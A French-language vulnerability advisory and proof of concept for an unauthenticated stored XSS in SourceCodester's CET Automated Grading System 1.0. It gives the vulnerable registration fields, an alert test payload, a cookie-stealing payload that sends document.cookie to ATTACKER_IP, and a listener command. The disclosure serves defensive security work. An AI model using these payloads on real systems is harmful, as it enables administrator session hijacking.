
Preuve de concept pour une XSS stockée dans SourceCodester CET Automated Grading System 1.0, démontrant l'injection de charge utile non authentifiée via l'inscription d'un étudiant, conduisant au détournement de session administrateur.
| Champ | Valeur |
|---|
| Fournisseur | SourceCodester |
| URL du fournisseur | https://www.sourcecodester.com |
| Produit | Système de notation automatisé CET avec analyses prédictives IA en PHP et MySQL |
| URL du produit | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| Version | 1.0 |
| Vulnérabilité | Cross-Site Scripting stocké (XSS) |
| CWE | CWE-79 |
| Score CVSSv3 | 8,8 (Élevé) |
| Vecteur d'attaque | Réseau |
| Authentification requise | Aucune (l'auto-inscription des étudiants est publique) |
| Victime | Administrateur |
| Interaction utilisateur | Requise (l'administrateur visite le tableau de bord) |
| Chercheur | Imad Alvi |
| Date | 2026-04-13 |
Fichier : PersonalAGS/index.php?action=register (Inscription des étudiants)
Paramètres : student_id, full_name, section, username (POST)
Déclenché sur : PersonalAGS/index.php?action=dashboard (Tableau de bord administrateur)
Le portail d'auto-inscription des étudiants du système de notation automatisé CET 1.0 ne parvient pas à assainir ni à encoder les entrées fournies par l'utilisateur avant de les stocker dans la base de données. Un attaquant non authentifié peut créer un compte étudiant avec des charges utiles JavaScript injectées dans n'importe quel champ d'inscription. La charge utile malveillante est stockée dans la base de données et s'exécute dans le navigateur de tout administrateur qui visite le tableau de bord où les étudiants inscrits sont répertoriés.
Il s'agit d'une chaîne d'attaque critique — aucune authentification n'est requise pour injecter la charge utile, mais elle s'exécute dans un contexte administrateur privilégié, permettant le vol de cookies de session et la prise de contrôle totale du compte administrateur.
Accédez à la page publique d'auto-inscription des étudiants :
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
Remplissez tous les champs avec des charges utiles XSS et cliquez sur Créer un compte :
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
L'inscription réussit — les charges utiles sont stockées dans la base de données.
Lorsque l'administrateur se connecte et visite le tableau de bord, la charge utile injectée s'exécute immédiatement. La fenêtre contextuelle d'alerte se déclenche et la mise en page de la page est visiblement cassée par le HTML injecté — confirmant que la charge utile est rendue sans assainissement dans le panneau d'administration.
Les en-têtes de section du tableau de bord reflètent également les valeurs injectées :
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
Un attaquant peut faire escalader cette vulnérabilité en détournement complet de session administrateur en utilisant la charge utile suivante dans les champs d'inscription :
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
Configurez un écouteur sur la machine de l'attaquant :
python3 -m http.server 8888
Lorsque l'administrateur visite le tableau de bord, son cookie de session est envoyé au serveur de l'attaquant, permettant une prise de contrôle complète du compte.
Un attaquant non authentifié peut :
Aucune authentification n'est requise pour injecter la charge utile. L'attaque s'exécute automatiquement lorsqu'un administrateur visite le tableau de bord.